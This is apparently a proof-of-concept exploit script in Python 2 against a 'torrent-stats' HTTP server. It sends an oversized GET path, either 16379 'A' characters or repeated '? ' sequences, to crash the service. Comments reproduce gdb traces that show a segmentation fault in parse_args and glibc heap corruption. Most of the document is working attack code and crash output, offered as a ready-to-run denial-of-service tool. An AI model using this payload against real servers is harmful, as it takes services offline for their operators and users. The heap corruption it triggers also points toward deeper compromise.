#!/usr/bin/python import socket, urllib, sys host = 'localhost' port = 8080 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.settimeout(8) print 'Sending GET request' # size = sys.argv[1] # Crash at A * 16378 size = 16379 # DOS #1: gdb trace for buffer1 #Program received signal SIGSEGV, Segmentation fault. #--------------------------------------------------------------------------[regs] # EAX: 0x00000000 EBX: 0x08051258 ECX: 0x00000000 EDX: 0x20202020 o d I t s Z a P c # ESI: 0x080537BC EDI: 0x080537B8 EBP: 0xBFFFF2E8 ESP: 0xBFFFF2B0 EIP: 0x0804AF72 # CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B #--------------------------------------------------------------------------[code] #=> 0x804af72 : movb $0x0,(%eax) # 0x804af75 : mov 0x20(%ebx),%edx # 0x804af78 : add $0x1,%eax # 0x804af7b : mov %eax,(%edx) # 0x804af7d : mov -0x1c(%ebp),%eax # 0x804af80 : movzbl 0x1(%eax),%edx # 0x804af84 : test %dl,%dl # 0x804af86 : je 0x804b12e #-------------------------------------------------------------------------------- #parse_args (fd=0x9, privdata=0x8051258) at httpd.c:106 #106 *tmp++ = '\0'; buffer1 = "/" + "A" * int(size) # DOS #2 : gdb trace for the buffer2 # *** glibc detected *** /root/torrent-stats/torrent-stats: munmap_chunk(): invalid pointer: 0x080537b8 *** # *** glibc detected *** /root/torrent-stats/torrent-stats: malloc(): memory corruption: 0x080512c8 *** #gdb$ backtrace #0 0xb7fe2430 in __kernel_vsyscall () #1 0xb7e9b651 in raise () from /lib/tls/i686/cmov/libc.so.6 #2 0xb7e9ea82 in abort () from /lib/tls/i686/cmov/libc.so.6 #3 0xb7ed249d in ?? () from /lib/tls/i686/cmov/libc.so.6 #4 0xb7edc591 in ?? () from /lib/tls/i686/cmov/libc.so.6 #5 0xb7edf395 in ?? () from /lib/tls/i686/cmov/libc.so.6 #6 0xb7ee0f9c in malloc () from /lib/tls/i686/cmov/libc.so.6 #7 0xb7ed2437 in ?? () from /lib/tls/i686/cmov/libc.so.6 #8 0xb7edc591 in ?? () from /lib/tls/i686/cmov/libc.so.6 #9 0xb7edd80e in ?? () from /lib/tls/i686/cmov/libc.so.6 #10 0x0804ad26 in destroy_httpd_con (con=0xb7fc6ff4) at httpd.c:43 #11 0x0804b0df in httpd_content_handler (fd=0x9, privdata=0x8051258) at httpd.c:193 #12 0x0804a7a0 in event_loop () at event.c:303 #13 0x0804d237 in main (argc=0x2, argv=0xbffff474) at torrent-stats.c:124 buffer2 = "/" + "? " * int(size) + "?" buffer = buffer2 s.send('GET ' + buffer + ' HTTP/1.1\r\nHost: ' + host + '\r\n\r\n') print s.recv(8192) + s.recv(8192)